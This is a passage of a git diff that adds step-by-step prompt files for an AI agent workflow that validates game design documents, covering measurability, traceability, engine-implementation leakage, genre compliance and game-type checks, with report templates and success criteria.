+**Concrete targets:**
+
+- Does it include a target value? (e.g., "75% completion rate for Act 1", not "players should finish the story")
+- Is measurement method noted? (telemetry event, playtest observation, automated test)
+
+**No subjective terms without backing:**
+
+- Scan for: fun, engaging, immersive, satisfying, rewarding (without accompanying metrics)
+- Note line numbers
+
+**Mechanics Analysis:**
+
+Extract all mechanics / systems and check each for:
+
+**Concrete values:**
+
+- Does the mechanic include numbers where it should? (damage, speed, cooldown, cost)
+- Are feel parameters documented when genre demands (jump arc, coyote time, input buffer, hit windows)?
+
+**No subjective adjectives:**
+
+- Scan for: easy, fast, simple, intuitive, responsive, fluid, tight (without metrics)
+- Note line numbers
+
+**No vague quantifiers:**
+
+- Scan for: multiple, several, some, many, few, various, number of
+- Note line numbers
+
+**Technical Specifications Analysis:**
+
+Extract all tech specs and check each for:
+
+**Specific metrics:**
+
+- Is there a target FPS per platform?
+- Is memory budget quantified per platform?
+- Are load times budgeted?
+- Is the measurement method or tooling noted?
+
+### 3. Tally Violations
+
+**Design Goal Violations:**
+
+- Missing target values: count
+- Missing measurement method: count
+- Subjective without backing: count
+- Total design-goal violations: sum
+
+**Mechanics Violations:**
+
+- Missing concrete values: count
+- Subjective adjectives: count
+- Vague quantifiers: count
+- Missing feel parameters (where genre demands): count
+- Total mechanics violations: sum
+
+**Technical Spec Violations:**
+
+- Missing FPS targets: count
+- Missing memory budget: count
+- Missing load-time targets: count
+- Missing measurement method: count
+- Total tech-spec violations: sum
+
+**Total violations:** sum of all three categories
+
+### 4. Report Measurability Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## Measurability Validation
+
+### Design Goals / Success Metrics
+
+**Total Goals Analyzed:** {count}
+
+**Missing Target Values:** {count}
+[If violations exist, list examples with line numbers]
+
+**Missing Measurement Methods:** {count}
+[If missing, list examples with line numbers]
+
+**Subjective Without Backing:** {count}
+[If found, list examples with line numbers]
+
+**Design Goal Violations Total:** {total}
+
+### Mechanics & Systems
+
+**Total Mechanics Analyzed:** {count}
+
+**Missing Concrete Values:** {count}
+[If missing, list examples with line numbers]
+
+**Subjective Adjectives:** {count}
+[If found, list examples with line numbers]
+
+**Vague Quantifiers:** {count}
+[If found, list examples with line numbers]
+
+**Missing Feel Parameters (genre-required):** {count}
+[If missing, list examples with line numbers]
+
+**Mechanics Violations Total:** {total}
+
+### Technical Specifications
+
+**Total Specs Analyzed:** {count}
+
+**Missing FPS Targets:** {count}
+[If missing, list examples with line numbers]
+
+**Missing Memory Budget:** {count}
+[If missing, list examples with line numbers]
+
+**Missing Load-Time Targets:** {count}
+[If missing, list examples with line numbers]
+
+**Missing Measurement Methods:** {count}
+[If missing, list examples with line numbers]
+
+**Tech Spec Violations Total:** {total}
+
+### Overall Assessment
+
+**Total Items:** {goals + mechanics + specs}
+**Total Violations:** {sum of all violation totals}
+
+**Severity:** [Critical if >10 violations, Warning if 5-10, Pass if <5]
+
+**Recommendation:**
+[If Critical] "Many design goals, mechanics, and tech specs lack concrete values. A GDD without numbers is a wishlist - revise so each item is testable."
+[If Warning] "Some items need refinement for measurability. Focus on violating items above - especially any feel parameters or tech targets without numbers."
+[If Pass] "GDD demonstrates good measurability with minimal issues."
+```
+
+### 5. Display Progress and Auto-Proceed
+
+Display: "**Measurability Validation Complete**
+
+Total Violations: {count} ({severity})
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-06-traceability-validation.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- All design goals extracted and analyzed for measurability
+- All mechanics extracted and analyzed for concrete values
+- All tech specs extracted and analyzed for targets
+- Violations documented with line numbers
+- Severity assessed correctly
+- Findings reported to validation report
+- Auto-proceeds to next validation step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not analyzing all three categories (goals, mechanics, tech specs)
+- Missing line numbers for violations
+- Not reporting findings to validation report
+- Not assessing severity
+- Not auto-proceeding
+
+**Master Rule:** Design intent needs numbers to become design commitment. Validate every goal, mechanic, and tech spec for measurability, document violations, auto-proceed.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-06-traceability-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-06-traceability-validation.md
new file mode 100644
index 0000000..c0ff78b
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-06-traceability-validation.md
@@ -0,0 +1,248 @@
+---
+name: 'step-v-06-traceability-validation'
+description: 'Traceability Validation - Validate the chain from vision → pillars → core loop → mechanics → epics is intact'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-07-implementation-leakage-validation.md'
+gddFile: '{gdd_file_path}'
+validationReportPath: '{validation_report_path}'
+---
+
+# Step V-6: Traceability Validation
+
+## STEP GOAL:
+
+Validate the traceability chain from Vision → Game Pillars → Core Gameplay Loop → Mechanics → Development Epics is intact, ensuring every mechanic and epic traces back to the core fantasy and pillars.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring analytical rigor and traceability-matrix expertise
+- ✅ This step runs autonomously - no user input needed
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on traceability chain validation
+- 🚫 FORBIDDEN to validate other aspects in this step
+- 💬 Approach: Systematic chain validation and orphan detection
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Build and validate traceability matrix
+- 💾 Identify broken chains and orphan mechanics / epics
+- 📖 Append findings to validation report
+- 📖 Display "Proceeding to next check..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file, validation report
+- Focus: Traceability chain validation only
+- Limits: Don't validate other aspects, don't pause for user input
+- Dependencies: Steps 2-5 completed - initial validations done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Attempt Sub-Process Validation
+
+**Try to use Task tool to spawn a subprocess:**
+
+"Perform traceability validation on this GDD:
+
+1. Extract content from Executive Summary (core fantasy / vision, USPs)
+2. Extract Game Pillars from Core Gameplay
+3. Extract Core Gameplay Loop
+4. Extract Mechanics from Game Mechanics (and any game-type specific sections)
+5. Extract Development Epics
+6. Extract Scope (Out of Scope section)
+
+**Validate chains:**
+
+- Vision / Core Fantasy → Pillars: Do pillars embody the core fantasy?
+- Pillars → Core Gameplay Loop: Does the loop reinforce the pillars?
+- Core Loop → Mechanics: Does each mechanic serve the loop or a pillar?
+- Mechanics → Epics: Does each mechanic map to a delivering epic?
+- Scope → Mechanics: Do in-scope mechanics align with pillars, and out-of-scope items truly belong out?
+
+**Identify orphans:**
+
+- Mechanics that don't serve any pillar or the core loop
+- Pillars without mechanics reinforcing them
+- Epics not tied to any mechanic or system
+- Loop elements without supporting mechanics
+
+Build traceability matrix and identify broken chains and orphan mechanics/epics.
+
+Return structured findings with chain status and orphan list."
+
+### 2. Graceful Degradation (if Task tool unavailable)
+
+If Task tool unavailable, perform analysis directly:
+
+**Step 1: Extract key elements**
+
+- Executive Summary: Note core fantasy / vision
+- Game Pillars: List pillars
+- Core Gameplay Loop: Describe the loop's steps
+- Mechanics: List all mechanics and systems
+- Epics: List all development epics
+- Out of Scope: List excluded items
+
+**Step 2: Validate Vision → Pillars**
+
+- Do the pillars express the core fantasy in actionable terms?
+- Are pillars specific enough to steer design decisions?
+- Note any misalignment
+
+**Step 3: Validate Pillars → Core Loop**
+
+- Does the core gameplay loop actively reinforce the pillars?
+- Are pillars visible in the loop's steps?
+- Note pillars that don't show up in the loop
+
+**Step 4: Validate Core Loop → Mechanics**
+
+- For each loop step, is there a mechanic that enables it?
+- List mechanics that don't map to the loop or a pillar
+- Note orphan mechanics (mechanics without design justification)
+
+**Step 5: Validate Mechanics → Epics**
+
+- Does each mechanic have an epic delivering it?
+- Are there epics without a clear mechanic payload?
+- Note misalignments
+
+**Step 6: Validate Scope → Alignment**
+
+- Do in-scope mechanics align with pillars?
+- Are out-of-scope items truly off-pillar, or are they critical mechanics misclassified?
+- Note scope incoherence
+
+**Step 7: Build traceability matrix**
+
+- Map each mechanic to its source (pillar or loop step)
+- Map each epic to its mechanics
+- Note orphan mechanics and orphan epics
+- Identify broken chains
+
+### 3. Tally Traceability Issues
+
+**Broken chains:**
+
+- Vision → Pillars misalignment: count
+- Pillars → Loop gaps: count
+- Loop → Mechanics gaps: count
+- Mechanics → Epics gaps: count
+- Scope → Mechanics misalignments: count
+
+**Orphan elements:**
+
+- Orphan mechanics (no pillar/loop source): count
+- Unsupported pillars (no reinforcing mechanics): count
+- Orphan epics (no clear mechanic payload): count
+- Loop steps without supporting mechanics: count
+
+**Total issues:** Sum of all broken chains and orphans
+
+### 4. Report Traceability Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## Traceability Validation
+
+### Chain Validation
+
+**Vision → Pillars:** [Intact/Gaps Identified]
+{If gaps: List specific misalignments}
+
+**Pillars → Core Gameplay Loop:** [Intact/Gaps Identified]
+{If gaps: List pillars without loop reinforcement}
+
+**Core Loop → Mechanics:** [Intact/Gaps Identified]
+{If gaps: List loop steps without supporting mechanics}
+
+**Mechanics → Epics:** [Intact/Gaps Identified]
+{If gaps: List mechanics without delivering epics}
+
+**Scope → Mechanics Alignment:** [Intact/Misaligned]
+{If misaligned: List specific issues}
+
+### Orphan Elements
+
+**Orphan Mechanics (no pillar/loop source):** {count}
+{List orphan mechanics}
+
+**Unsupported Pillars:** {count}
+{List pillars lacking reinforcing mechanics}
+
+**Orphan Epics:** {count}
+{List epics without clear mechanic payload}
+
+**Loop Steps Without Mechanics:** {count}
+{List loop steps lacking supporting mechanics}
+
+### Traceability Matrix
+
+{Summary table showing pillar → mechanic → epic coverage}
+
+**Total Traceability Issues:** {total}
+
+**Severity:** [Critical if orphan mechanics or unsupported pillars exist, Warning if gaps, Pass if intact]
+
+**Recommendation:**
+[If Critical] "Orphan mechanics or unsupported pillars found - every mechanic must serve a pillar or the core loop, every pillar must be reinforced by mechanics. Fix these before proceeding to architecture."
+[If Warning] "Traceability gaps identified - strengthen chains so downstream phases (architecture, epics) can trust the design intent."
+[If Pass] "Traceability chain is intact - mechanics serve pillars, epics deliver mechanics, scope reflects the design."
+```
+
+### 5. Display Progress and Auto-Proceed
+
+Display: "**Traceability Validation Complete**
+
+Total Issues: {count} ({severity})
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-07-implementation-leakage-validation.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- All traceability chains validated systematically
+- Orphan mechanics / epics identified
+- Broken chains documented
+- Traceability matrix built
+- Severity assessed correctly
+- Findings reported to validation report
+- Auto-proceeds to next validation step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not validating all traceability chains
+- Missing orphan detection
+- Not building traceability matrix
+- Not reporting findings to validation report
+- Not auto-proceeding
+
+**Master Rule:** Every mechanic should trace to a pillar or the core loop. Every epic should deliver a mechanic. Orphan mechanics are scope creep in disguise.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-07-implementation-leakage-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-07-implementation-leakage-validation.md
new file mode 100644
index 0000000..a92396f
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-07-implementation-leakage-validation.md
@@ -0,0 +1,212 @@
+---
+name: 'step-v-07-implementation-leakage-validation'
+description: 'Implementation Leakage Check - Ensure the GDD does not include engine/code details that belong in architecture'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-08-genre-compliance-validation.md'
+gddFile: '{gdd_file_path}'
+validationReportPath: '{validation_report_path}'
+---
+
+# Step V-7: Implementation Leakage Validation
+
+## STEP GOAL:
+
+Ensure mechanics, systems, and technical specifications in the GDD don't include engine/implementation details - they should specify WHAT the player experiences and WHAT the system must achieve, not HOW it's built. Those details belong in the architecture document.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring analytical rigor and separation-of-concerns expertise
+- ✅ This step runs autonomously - no user input needed
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on implementation / engine leakage detection
+- 🚫 FORBIDDEN to validate other aspects in this step
+- 💬 Approach: Systematic scanning for engine and implementation terms
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Scan mechanics, systems, and tech specs for engine/implementation terms
+- 💾 Distinguish platform/engine-as-constraint vs. engine-as-implementation
+- 📖 Append findings to validation report
+- 📖 Display "Proceeding to next check..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file, validation report
+- Focus: Implementation leakage detection only
+- Limits: Don't validate other aspects, don't pause for user input
+- Dependencies: Steps 2-6 completed - initial validations done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Attempt Sub-Process Validation
+
+**Try to use Task tool to spawn a subprocess:**
+
+"Perform implementation leakage validation on this GDD:
+
+**Scan for:**
+
+1. Engine / framework internals (Rigidbody2D, GameObject, Actor class, UBlueprint, Node2D, AnimationTree, UnrealBuildTool, Mono, IL2CPP, etc.)
+2. Scripting language and code patterns (C++, C#, GDScript, specific class names, specific methods like Update()/Tick()/_process())
+3. Shader / rendering internals (HLSL, GLSL, specific shader types, specific render passes, URP/HDRP/Deferred specifics)
+4. Networking library internals (Mirror, Photon, Netcode for GameObjects, specific RPC types, replication modes)
+5. Data format internals (JSON schema, specific serializer, ScriptableObject, DataTable, UDataAsset) unless relevant to player-facing capability
+6. Build / tooling specifics (specific addressables bundles, specific platform SDK calls)
+
+**For each term found:**
+
+- Is this a platform constraint? (e.g., 'must run on Unreal 5 for PS5 certification' - platform constraint is OK in Technical Specifications)
+- Is this an engine capability mention? (e.g., 'uses the engine's nav-mesh system' - acceptable if abstracted)
+- Or is this implementation detail? (e.g., 'NavAgent component moves along Nav Mesh with custom filter' - HOW, not WHAT)
+
+Document violations with line numbers and explanation.
+
+Return structured findings with leakage counts and examples."
+
+### 2. Graceful Degradation (if Task tool unavailable)
+
+If Task tool unavailable, perform analysis directly:
+
+**Implementation leakage terms to scan for:**
+
+**Unity-specific:**
+GameObject, MonoBehaviour, ScriptableObject, Rigidbody, Rigidbody2D, Transform, Coroutine, Update, FixedUpdate, Addressables, URP, HDRP, NavMeshAgent, Animator component, Cinemachine internals, etc.
+
+**Unreal-specific:**
+UObject, Actor, Pawn, Character class, Blueprint, UBlueprint, Tick(), UMG, Gameplay Ability System internals, UE Niagara internals, UnrealBuildTool, etc.
+
+**Godot-specific:**
+Node, Node2D, Node3D, GDScript keywords, \_process, \_physics_process, AnimationPlayer node internals, etc.
+
+**Generic engine internals:**
+Game loop implementation, ECS specifics (EnTT, Unity DOTS, etc.), specific physics libraries (PhysX, Box2D, Havok) unless platform constraint
+
+**Networking:**
+Mirror, Photon, Netcode for GameObjects, specific RPC annotations, ReplicationMode, NetworkBehaviour - unless documenting a hard constraint
+
+**Shaders / rendering:**
+HLSL, GLSL, specific shader stage mentions, specific render passes, deferred vs forward (unless a hard constraint)
+
+**Tooling:**
+Specific CI / addressable bundle names, specific asset pipeline scripts
+
+**For each term found:**
+
+- Determine if it's a hard constraint (OK in Technical Specs) or implementation detail (leakage)
+- Example: "Target engine: Unreal Engine 5.4 for PS5/XSX compatibility" - constraint, OK
+- Example: "Combat uses Gameplay Ability System with custom AttributeSet classes" - leakage, belongs in architecture
+
+**Count violations and note line numbers**
+
+### 3. Tally Implementation Leakage
+
+**By category:**
+
+- Engine internals (Unity/Unreal/Godot/other) leakage: count
+- Scripting / code pattern leakage: count
+- Shader / rendering internals leakage: count
+- Networking library leakage: count
+- Data format internals leakage: count
+- Tooling / build specifics leakage: count
+- Other implementation details: count
+
+**Total implementation leakage violations:** sum
+
+### 4. Report Implementation Leakage Findings to Validation Report
+
+Append to validation report:
+
+```markdown
+## Implementation Leakage Validation
+
+### Leakage by Category
+
+**Engine Internals:** {count} violations
+{If violations, list examples with line numbers}
+
+**Scripting / Code Patterns:** {count} violations
+{If violations, list examples with line numbers}
+
+**Shader / Rendering Internals:** {count} violations
+{If violations, list examples with line numbers}
+
+**Networking Library Internals:** {count} violations
+{If violations, list examples with line numbers}
+
+**Data Format Internals:** {count} violations
+{If violations, list examples with line numbers}
+
+**Tooling / Build Specifics:** {count} violations
+{If violations, list examples with line numbers}
+
+**Other Implementation Details:** {count} violations
+{If violations, list examples with line numbers}
+
+### Summary
+
+**Total Implementation Leakage Violations:** {total}
+
+**Severity:** [Critical if >5 violations, Warning if 2-5, Pass if <2]
+
+**Recommendation:**
+[If Critical] "Extensive engine/implementation leakage found. The GDD specifies HOW instead of WHAT. Move these details into the architecture document - the GDD should be engine-agnostic where possible."
+[If Warning] "Some implementation leakage detected. Review violations and move implementation details to architecture."
+[If Pass] "No significant implementation leakage found. The GDD properly specifies player experience and system behavior without engine internals."
+
+**Note:** Target engine, platform, and hard constraints (e.g., "Must ship on PS5 using Unreal 5 for certification reasons") belong in Technical Specifications and are acceptable. The leakage check is about _how_ mechanics are built, not _on what_ they run.
+```
+
+### 5. Display Progress and Auto-Proceed
+
+Display: "**Implementation Leakage Validation Complete**
+
+Total Violations: {count} ({severity})
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-08-genre-compliance-validation.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- Scanned mechanics, systems, and tech specs for all implementation term categories
+- Distinguished platform constraints from implementation leakage
+- Violations documented with line numbers and explanations
+- Severity assessed correctly
+- Findings reported to validation report
+- Auto-proceeds to next validation step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not scanning all implementation term categories
+- Not distinguishing constraints from leakage
+- Missing line numbers for violations
+- Not reporting findings to validation report
+- Not auto-proceeding
+
+**Master Rule:** The GDD specifies WHAT, not HOW. Engine-specific implementation details belong in the architecture document, not the GDD.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-08-genre-compliance-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-08-genre-compliance-validation.md
new file mode 100644
index 0000000..439e439
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-08-genre-compliance-validation.md
@@ -0,0 +1,291 @@
+---
+name: 'step-v-08-genre-compliance-validation'
+description: 'Genre Compliance Validation - Validate genre-specific conventions are documented in high-complexity genres'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-09-game-type-validation.md'
+gddFile: '{gdd_file_path}'
+gddFrontmatter: '{gdd_frontmatter}'
+validationReportPath: '{validation_report_path}'
+genreComplexityData: '../data/genre-complexity.csv'
+---
+
+# Step V-8: Genre Compliance Validation
+
+## STEP GOAL:
+
+Validate genre-specific conventions are present for high-complexity genres (Action/Platformer, RPG, Roguelike, Shooter, MOBA, Fighting, etc.), ensuring genre expectations and required systems are properly documented.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring genre expertise and game-design knowledge
+- ✅ This step runs autonomously - no user input needed
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on genre-specific compliance
+- 🚫 FORBIDDEN to validate other aspects in this step
+- 💬 Approach: Conditional validation based on genre complexity
+- 🚪 This is a validation sequence step - auto-proceeds when complete
+
+## EXECUTION PROTOCOLS:
+
+- 🎯 Check classification.gameType / genre from GDD frontmatter
+- 💬 If low complexity genre: Skip detailed checks
+- 🎯 If high complexity: Validate required genre-specific sections
+- 💾 Append compliance findings to validation report
+- 📖 Display "Proceeding to next check..." and load next step
+- 🚫 FORBIDDEN to pause or request user input
+
+## CONTEXT BOUNDARIES:
+
+- Available context: GDD file with frontmatter classification, validation report
+- Focus: Genre compliance only (conditional on genre complexity)
+- Limits: Don't validate other aspects, conditional execution
+- Dependencies: Steps 2-7 completed - format and requirements validation done
+
+## MANDATORY SEQUENCE
+
+**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
+
+### 1. Load Genre Complexity Data
+
+Load and read the complete file at:
+`{genreComplexityData}` (../data/genre-complexity.csv)
+
+This CSV contains:
+
+- Genre classifications and complexity levels (high/medium/low)
+- Required special sections for each genre
+- Key concerns and requirements for complex genres
+
+Internalize this data - it drives which genres require special sections.
+
+### 2. Extract Genre Classification
+
+From GDD frontmatter, extract:
+
+- `classification.gameType` - what game type/genre is this?
+- If not present, inspect the GDD content for genre signals (combat mechanics, stats, procedural generation, etc.) and match against the `signals` column in `genre-complexity.csv`
+
+**If no genre classification found and signals are ambiguous:**
+Treat as "general" (low complexity) and proceed.
+
+### 3. Determine Genre Complexity
+
+**From genre-complexity.csv:**
+
+**Low complexity genres (skip detailed checks):**
+
+- general
+- idle-incremental
+- sandbox
+- party-game
+- text-based
+
+**Medium complexity genres (targeted checks):**
+
+- strategy, horror, metroidvania, adventure, puzzle, racing, sports, card-game, tower-defense, visual-novel, rhythm, turn-based-tactics
+
+**High complexity genres (require special sections):**
+
+- action-platformer, rpg, roguelike, shooter, moba, fighting, survival, simulation
+
+### 4. For High/Medium-Complexity Genres: Validate Required Special Sections
+
+**Attempt subprocess validation:**
+
+"Perform genre compliance validation for {genre}:
+
+Based on {genre} requirements from genre-complexity.csv, check the GDD for:
+
+**Action-Platformer:**
+
+- Movement feel table (jump height, air time, coyote time, input buffer)
+- Combat specs (hitbox/hurtbox conventions, damage tables)
+- Level gating rules
+- Difficulty curve via geometry / enemy placement
+
+**RPG:**
+
+- Stat system (what stats, how they interact, caps)
+- Leveling curve (XP required per level, stat gains)
+- Inventory rules (slot system, stacking, weight)
+- Quest state machine (active/completed/failed/branching)
+- Save model (save points, autosaves, slot rules)
+
+**Roguelike:**
+
+- Run structure (length, gates, boss cadence)
+- Meta-progression vs in-run progression distinction
+- Seed determinism rules
+- Balance bands (per-run scaling)
+
+**Shooter:**
+
+- Weapon feel table (TTK, recoil, spread, magazine)
+- Netcode model (if multiplayer)
+- Hitreg model (client-authoritative vs server-authoritative)
+- Map flow and choke points
+- Spawn logic
+
+**MOBA:**
+
+- Hero kit matrix (roles, abilities, counters)
+- Map/lane pacing
+- Matchmaking / MMR model
+- Tick rate / latency tolerance
+
+**Fighting:**
+
+- Frame data tables (startup / active / recovery)
+- Netcode model (rollback expected for competitive)
+- Input spec (buffer, negative edge, motion tolerance)
+- Training mode contents
+
+**Survival:**
+
+- Resource economy (scarcity curves)
+- Crafting tree
+- Threat pacing (day/night, seasonal, AI escalation)
+- Persistence model (save scope, base durability)
+
+**Simulation:**
+
+- Systems interaction map
+- Balance for long sessions
+- Emergence boundaries (what is and isn't allowed)
+- End-state or open-ended definition
+
+**Medium-complexity genres:**
+
+- Check for the `special_sections` from CSV for that genre
+
+For each required section:
+
+- Is it present in GDD?
+- Is it adequately documented?
+- Note any gaps
+
+Return compliance matrix with presence/adequacy assessment."
+
+**Graceful degradation (if no Task tool):**
+
+- Manually check for required sections based on genre and the genre-complexity.csv `special_sections` column
+- List present sections and missing sections
+- Assess adequacy of documentation
+
+### 5. For Low-Complexity Genres: Skip Detailed Checks
+
+Append to validation report:
+
+```markdown
+## Genre Compliance Validation
+
+**Genre:** {genre}
+**Complexity:** Low (general/standard)
+**Assessment:** N/A - No special genre compliance requirements
+
+**Note:** This GDD is for a low-complexity genre without heavy genre-conventions checks.
+```
+
+Display: "**Genre Compliance Validation Skipped**
+
+Genre: {genre} (low complexity)
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile}
+
+### 6. Report Compliance Findings (Medium/High-Complexity Genres)
+
+Append to validation report:
+
+```markdown
+## Genre Compliance Validation
+
+**Genre:** {genre}
+**Complexity:** {Medium/High}
+
+### Required Special Sections
+
+**{Section 1 Name}:** [Present/Missing/Adequate]
+{If missing or inadequate: Note specific gaps}
+
+**{Section 2 Name}:** [Present/Missing/Adequate]
+{If missing or inadequate: Note specific gaps}
+
+[Continue for all required sections from CSV for this genre]
+
+### Compliance Matrix
+
+| Requirement | Status | Notes |
+|-------------|--------|-------|
+| {Requirement 1} | [Met/Partial/Missing] | {Notes} |
+| {Requirement 2} | [Met/Partial/Missing] | {Notes} |
+[... continue for all requirements]
+
+### Summary
+
+**Required Sections Present:** {count}/{total}
+**Compliance Gaps:** {count}
+
+**Severity:** [Critical if missing genre-critical sections (e.g., RPG without stat system, Fighting without frame data), Warning if incomplete, Pass if complete]
+
+**Recommendation:**
+[If Critical] "GDD is missing genre-critical sections for {genre}. These conventions aren't optional - players and downstream phases expect them."
+[If Warning] "Some genre-specific sections are incomplete. Strengthen documentation for full compliance with genre expectations."
+[If Pass] "All required genre sections are present and adequately documented."
+```
+
+### 7. Display Progress and Auto-Proceed
+
+Display: "**Genre Compliance Validation Complete**
+
+Genre: {genre} ({complexity})
+Compliance Status: {status}
+
+**Proceeding to next validation check...**"
+
+Without delay, read fully and follow: {nextStepFile} (step-v-09-game-type-validation.md)
+
+---
+
+## 🚨 SYSTEM SUCCESS/FAILURE METRICS
+
+### ✅ SUCCESS:
+
+- Genre classification extracted correctly (from frontmatter or inferred from signals)
+- Complexity assessed appropriately
+- Low complexity genres: Skipped with clear "N/A" documentation
+- Medium/high complexity genres: All required sections checked
+- Compliance matrix built with status for each requirement
+- Severity assessed correctly
+- Findings reported to validation report
+- Auto-proceeds to next validation step
+- Subprocess attempted with graceful degradation
+
+### ❌ SYSTEM FAILURE:
+
+- Not checking genre classification before proceeding
+- Performing detailed checks on low complexity genres
+- For high complexity: missing required section checks
+- Not building compliance matrix
+- Not reporting findings to validation report
+- Not auto-proceeding
+
+**Master Rule:** Genre compliance is conditional. High-complexity genres carry conventions that must be documented - missing them surfaces as emergencies during production.
diff --git a/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-09-game-type-validation.md b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-09-game-type-validation.md
new file mode 100644
index 0000000..081d09f
--- /dev/null
+++ b/plugins/bmad/skills/gds-validate-gdd/steps-v/step-v-09-game-type-validation.md
@@ -0,0 +1,281 @@
+---
+name: 'step-v-09-game-type-validation'
+description: 'Game-Type Compliance Validation - Validate the GDD game-type field matches content and genre-specific sections are present'
+
+# File references (ONLY variables used in this step)
+nextStepFile: './step-v-10-smart-validation.md'
+gddFile: '{gdd_file_path}'
+gddFrontmatter: '{gdd_frontmatter}'
+validationReportPath: '{validation_report_path}'
+gameTypesData: '{module_root}/workflows/2-design/gds-create-gdd/game-types.csv'
+---
+
+# Step V-9: Game-Type Compliance Validation
+
+## STEP GOAL:
+
+Validate that the GDD's declared game-type matches its actual content, and that any game-type-specific sections expected by the gds-create-gdd schema are present.
+
+## MANDATORY EXECUTION RULES (READ FIRST):
+
+### Universal Rules:
+
+- 🛑 NEVER generate content without user input
+- 📖 CRITICAL: Read the complete step file before taking any action
+- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
+- 📋 YOU ARE A FACILITATOR, not a content generator
+- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
+
+### Role Reinforcement:
+
+- ✅ You are a Validation Architect and Quality Assurance Specialist
+- ✅ If you already have been given communication or persona patterns, continue to use those while playing this new role
+- ✅ We engage in systematic validation, not collaborative dialogue
+- ✅ You bring game-type expertise and schema knowledge
+- ✅ This step runs autonomously - no user input needed
+
+### Step-Specific Rules:
+
+- 🎯 Focus ONLY on game-type compliance
+- 🚫 FORBIDDEN to validate other aspects in this step
